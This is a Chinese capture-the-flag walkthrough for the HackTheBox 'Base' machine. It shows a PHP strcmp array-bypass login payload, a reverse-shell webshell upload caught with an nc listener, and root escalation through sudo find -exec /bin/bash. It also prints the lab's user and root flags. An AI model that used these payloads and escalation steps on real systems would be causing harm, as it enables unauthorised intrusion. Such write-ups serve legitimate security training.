【渗透测试】hackthebox靶场之Base

admin 2022年10月1日20:44:15评论22 views字数 1968阅读6分33秒阅读模式
【渗透测试】hackthebox靶场之Base

【渗透测试】hackthebox靶场之Base



【渗透测试】hackthebox靶场之Base

0x01端口扫描

【渗透测试】hackthebox靶场之Base

使用端口扫描:

nmap -sS -sV -A 10.10.10.48

【渗透测试】hackthebox靶场之Base

发现开放了22和80端口,使用apache容器解析web服务,使用浏览器访问此IP


0x02源码泄露+文件上传



【渗透测试】hackthebox靶场之Base

找找有什么东西可以利用的,可以去扫描网站的目录和文件,这里使用gobuster通过kali自带的目录字典扫描

gobuster dir -u http://10.10.10.48 -w /usr/share/wordlists/dirb/big.txt

【渗透测试】hackthebox靶场之Base

【渗透测试】hackthebox靶场之Base

发现有个_uploaded目录以及login目录,访问login目录,发现路径配置错误导致列出目录下的所有文件,且有个swp后缀的临时文件(文件被编辑时没有关闭就会产生临时文件,会导致源码泄露),我们把临时文件下载下来进行代码审计

【渗透测试】hackthebox靶场之Base

下载后我们使用

strings login.php.swp

查看源代码

【渗透测试】hackthebox靶场之Base

发现源码是倒过来的,这里我给他回正(使用vim -r login.php.swp修复无效)

if (!empty($_POST['username']) && !empty($_POST['password'])) {       require('config.php');       if (strcmp($username , $_POST['username']) == 0) {              if (strcmp($password, $_POST['password']) == 0) {                     $_SESSION['user_id'] = 1;                     header("Location: upload.php");              } else {                     print("<script>alert('Wrong Username or Password')</script>");              }       } else {              print("<script>alert('Wrong Username or Password')</script>");       }

  

通过代码审计可知,先检查用户名和密码,变量存储在config.php中检查是否匹配

if (strcmp($username , $_POST['username']) == 0) {if (strcmp($password, $_POST['password']) == 0) {

往下审计,会发现使用strcmp去检查用户密码且有两个等号,很不安全,可以利用空数组绕过,返回NULL报错,但是确实相等了。两个等号只判断值相等,三个等号是判断值和类型相等。所以我们在登录页面进行抓包

【渗透测试】hackthebox靶场之Base

抓包后我们使用post提交空数组去绕过

user[]=admin&password[]=admin

放包后成功登录admin,然后发现是文件上传页面

【渗透测试】hackthebox靶场之Base

我们可以上传一个webshell,然后反弹shell。这里使用kali自带的webshell,在/usr/share/webshells/php/目录下

【渗透测试】hackthebox靶场之Base

然后编辑这个文件,写上自己本机的ip地址和监听端口

【渗透测试】hackthebox靶场之Base

然后上传webshell,上传成功!

【渗透测试】hackthebox靶场之Base

 之前不是扫描到了_uploads目录,那么我猜webshell上传到那个目录下了,使用

nc -lvp 1234

开启监听端口1234并且浏览器访问webshell:http://10.10.10.48/_uploaded/xxh.php

 

【渗透测试】hackthebox靶场之Base

发现shell已反弹。这时候可以开始找flag了。


0x03查找user flag



把shell升级为TTY

SHELL=/bin/bash script -q /dev/null

通过上面的代码审计可知,用户名密码是放在config.php配置文件中,我们找到配置文件


【渗透测试】hackthebox靶场之Base

发现用户名是管理员admin用户,密码是thisisagoodpassword,su 切换admin用户,发现不存在此用户,此时去/etc/passwd专门存放用户的文件查看,发现是john用户

 

【渗透测试】hackthebox靶场之Base

使用su john,输入密码thisisagoodpassword切换john用户

【渗透测试】hackthebox靶场之Base

根目录拿到user flag:

f54846c258f3b4612f78a819573d158e


0x04提升权限



我们使用sudo -l查看当前能使用root权限的文件,发现可以执行root权限的二进制文件是/usr/bin/find

【渗透测试】hackthebox靶场之Base

我们可以输入

sudo /usr/bin/find /etc -exec /bin/bash ;

搜索/etc文件系统并作为根执行bash shell

【渗透测试】hackthebox靶场之Base

在/root/root.txt,存放root flag:

51709519ea18ab37dd6fc58096bea949






【渗透测试】hackthebox靶场之Base


【渗透测试】hackthebox靶场之Base

【渗透测试】hackthebox靶场之Base

【渗透测试】Hackthebox之Beginner Track系列

【渗透测试】hackthebox靶场之Vaccine

【渗透测试】hackthebox靶场之Oopsie

【渗透测试】hackthebox靶场之Archetype


【渗透测试】hackthebox靶场之Base
【渗透测试】hackthebox靶场之Base
微信搜一搜
【渗透测试】hackthebox靶场之Base
暗魂攻防实验室


原文始发于微信公众号(暗魂攻防实验室):【渗透测试】hackthebox靶场之Base

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日20:44:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】hackthebox靶场之Basehttps://cn-sec.com/archives/987070.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息